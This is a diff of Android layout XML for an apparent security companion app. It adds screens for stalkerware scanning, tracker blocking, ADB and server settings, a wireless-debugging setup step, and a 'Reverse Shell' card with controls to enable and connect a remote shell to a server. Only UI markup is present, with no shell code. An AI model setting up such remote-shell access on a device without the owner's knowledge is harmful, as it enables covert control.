android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/shield_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Protection Shield"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="v1.0"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Scan & remove stalkerware"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Scan buttons row 1 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_full_scan"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="FULL SCAN"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_packages"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="PACKAGES"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Scan buttons row 2 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_admins"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="ADMINS"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_certs"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="CERTS"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_network"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="NETWORK"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Shield status -->
|
||||
<TextView
|
||||
android:id="@+id/shield_status_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Last: no scan run"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Tracking Honeypot Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/honeypot_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Tracking Honeypot"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="v1.0"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Block trackers & fake data"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Honeypot buttons row 1 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_harden"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="HARDEN ALL"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_reset_ad"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="RESET AD ID"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Honeypot buttons row 2 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_dns"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="PRIVATE DNS"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_restrict"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="RESTRICT"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_revoke"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="REVOKE"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Honeypot status -->
|
||||
<TextView
|
||||
android:id="@+id/honeypot_status_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: idle"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Reverse Shell Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/revshell_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Reverse Shell"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="v1.0"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Remote shell to AUTARCH server"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- RevShell enable/disable row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_enable"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="ENABLE"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="#FFFF6600" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_disable"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="DISABLE"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- RevShell connect/disconnect/status row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_connect"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="CONNECT"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_disconnect"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="DISCONNECT"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_revshell_status"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="STATUS"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- RevShell status -->
|
||||
<TextView
|
||||
android:id="@+id/revshell_status_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: Disabled"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Output Log ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="12dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Output:"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/modules_output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="> ready_"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp"
|
||||
android:minLines="8" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
310
autarch_companion/app/src/main/res/layout/fragment_settings.xml
Normal file
310
autarch_companion/app/src/main/res/layout/fragment_settings.xml
Normal file
@@ -0,0 +1,310 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/settings_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Server Connection -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/server_connection"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_server_ip"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_server_ip"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_web_port"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_web_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Port Configuration -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/adb_configuration"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_adb_port"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_adb_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:hint="@string/hint_usbip_port"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_usbip_port"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="number"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
<com.google.android.material.materialswitch.MaterialSwitch
|
||||
android:id="@+id/switch_settings_auto_restart"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/auto_restart_adb"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace"
|
||||
app:thumbTint="@color/terminal_green"
|
||||
app:trackTint="@color/terminal_green_dim" />
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Veilid BBS (Coming Soon) -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp"
|
||||
android:alpha="0.6">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/bbs_configuration"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="COMING SOON"
|
||||
android:textColor="@color/warning"
|
||||
android:textSize="11sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Veilid-based decentralized bulletin board for secure anonymous communication. Under development."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<com.google.android.material.textfield.TextInputLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:hint="@string/hint_bbs_address"
|
||||
app:boxStrokeColor="@color/terminal_green"
|
||||
app:hintTextColor="@color/terminal_green"
|
||||
android:enabled="false">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_bbs_address"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:inputType="text"
|
||||
android:textColor="@color/text_primary"
|
||||
android:fontFamily="monospace"
|
||||
android:enabled="false"
|
||||
android:hint="Not yet available" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Auto-Detect -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_auto_detect"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:text="@string/auto_detect"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:icon="@android:drawable/ic_menu_search"
|
||||
app:iconTint="@color/background"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
<!-- Actions -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="16dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_test_connection"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="8dp"
|
||||
android:text="@string/test_connection"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green_dim"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_save_settings"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/save_settings"
|
||||
android:textColor="@color/background"
|
||||
android:fontFamily="monospace"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Status -->
|
||||
<TextView
|
||||
android:id="@+id/settings_status"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginBottom="24dp" />
|
||||
|
||||
<!-- Logout -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_logout"
|
||||
style="@style/Widget.MaterialComponents.Button.OutlinedButton"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="LOGOUT"
|
||||
android:textColor="@color/danger"
|
||||
android:fontFamily="monospace"
|
||||
app:strokeColor="@color/danger"
|
||||
app:cornerRadius="4dp" />
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
383
autarch_companion/app/src/main/res/layout/fragment_setup.xml
Normal file
383
autarch_companion/app/src/main/res/layout/fragment_setup.xml
Normal file
@@ -0,0 +1,383 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<!-- Header -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ARCHON SETUP"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<!-- Privilege Status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="16dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/privilege_status_dot"
|
||||
android:layout_width="12dp"
|
||||
android:layout_height="12dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/privilege_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Checking privileges..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ STEP 1: Wireless Debugging (Shizuku-style) ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="2dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="STEP 1: Wireless Debugging"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Self-contained ADB — no PC needed"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
